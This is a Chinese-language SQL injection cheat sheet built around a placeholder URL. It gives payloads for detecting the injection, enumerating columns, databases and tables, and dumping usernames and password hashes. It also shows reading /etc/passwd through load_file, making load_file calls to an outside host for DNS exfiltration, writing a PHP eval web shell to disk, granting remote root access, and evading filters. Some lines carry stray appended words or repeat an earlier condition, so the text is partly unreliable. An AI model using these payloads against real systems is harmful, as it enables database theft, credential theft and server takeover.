http://www.xxx.cn/list.php?page=4&id=524' 返回错误
http://www.xxx.cn/list.php?page=4&id=524 and 1=1 返回正确
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 返回错误
PS:
弱类型语言(ASP/PHP): 'id=8' => int、 'id=8 and 1=1' => String
强类型语言(java/C#): String转换int,则会抛出异常php
http://www.xxx.cn/list.php?page=4&cid=x' 返回错误
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回正确
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回错误java
' 返回错误
x%' and 1=1 and '%'=' 返回正确
x%' and 1=2 and '%'=' 返回错误
PS:
LIKE查询:SELECT * from runoob_tbl WHERE runoob_author LIKE '%COM'
'%a%' //含有a的数据mysql
http://www.xxx.cn/list.php?page=4&id=524 order by 17 返回正确
http://www.xxx.cn/list.php?page=4&id=524 order by 18 返回错误sql
http://www.xxx.cn/list.php?page=4&cid=x' order by 17 # 返回正确
http://www.xxx.cn/list.php?page=4&cid=x' order by 18 # 返回错误数据库
x%' order by 17 # 返回正确
x%' order by 18 # 返回错误
PS:
order by:根据指定的列对结果集进行排序
SQL注入order by做用是判断表中有多少个字段windows
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,....浏览器
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #wordpress
x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #函数
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....orm
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
PS:
select database()
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #
小智%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #
select * from character_sets union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x776f72647072657373
PS:
一、数据库名可使用十六进制:
二、information_schema库:
有tables表
table_schema(表属于那个数据库)
table_name(数据库里的表名)
三、group_concat:将group by产生的同一个分组中的值链接起来,返回一个字符串结果
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #
小智%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #
PS:
一、表名也可使用十六进制
二、select * from character_sets union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='wp_users'
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #
x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #
PS:
select * from character_sets union select 1,2,group_concat(user_login,user_pass),4 from wordpress.wp_users
显示数据库:show databases;
显示表名: show tables;
显示版本:select version();
显示字符集:select @@character_set_database;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
查看权限:show variables like '%secure_file_priv%';
路径必须为绝对路径,并且须要root权限
union select 1,load_file('/etc/passwd'),3,4,5 #
用十六进行绕过单引号过滤
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
PS:
select load_file('C:\Windows\win.ini')
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'D:/test.php'--
Q:id-1 判断有注入 id+1 能够吗?
A:不行,URL+表明空格
Q:mysql有几种注释方式?
A:三种:
一、# 注释该行
二、/注释多行/
三、--+(--为注释,空格会被浏览器过滤因此有+)
Q:/*! ... */啥意思?
A:注释后+!+数据库编号,注释能够被执行
select 1 /*!40119 + 1*/
返回2(MySQL版本为4.01.19或者更高)
返回1(其余状况)
select 1 /*!40119 + 1,version()*/
Q:"select select * from admin" 能够执行吗?
A:不能够,select双层须要加() eg: select (select @@datadir);
Q:windows下的Oracle数据库是什么权限?
A:必须是以system权限运行
Q:空格过滤了,可使用那些绕过,eg:un%0aion当union?
A://来替换eg: select/**/(select/**/@@datadir);
%09
%0A
%0D
+
/|–|/
/@–|/
/?–|/
/|%20–%20|/
Q:'='被过滤?
A:考虑like替换
eg:union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'wp_users'
Q:空格被过滤?
A:考虑/**/'替换
eg:union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;
Q:关键字被过滤?
A:考虑内链注释来绕过:
uni/**/on/**/sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;
Q:SQL注入中'+'?
A:
MSSQL: "+"运算符被用于字符串和加法运算 '1'+'1'='11',1+1=2;
MySQL:"+"运算符只被用于加法运算,'1'+'1'='2',1+1=2;
Oracle:"+"运算符只被用于加法运算,'1'+'1'='2',1+1=2;
Q:字符串的链接符?
A:
MSSQL:'a' + 'b' = 'ab'
MYSQL:'a' 'b' = 'ab'
Oracle:'a'|| 'b' = 'ab'
Q:注释符:MSSQL:'-- '(注意后面的空格),'/*...*/'MySQL:'-- ','# ','/*...*/',注意,--后面必需要有一个或者多个空格。Oracle:'-- ','/*...*/'三种数据库中,通用的注释符是'-- '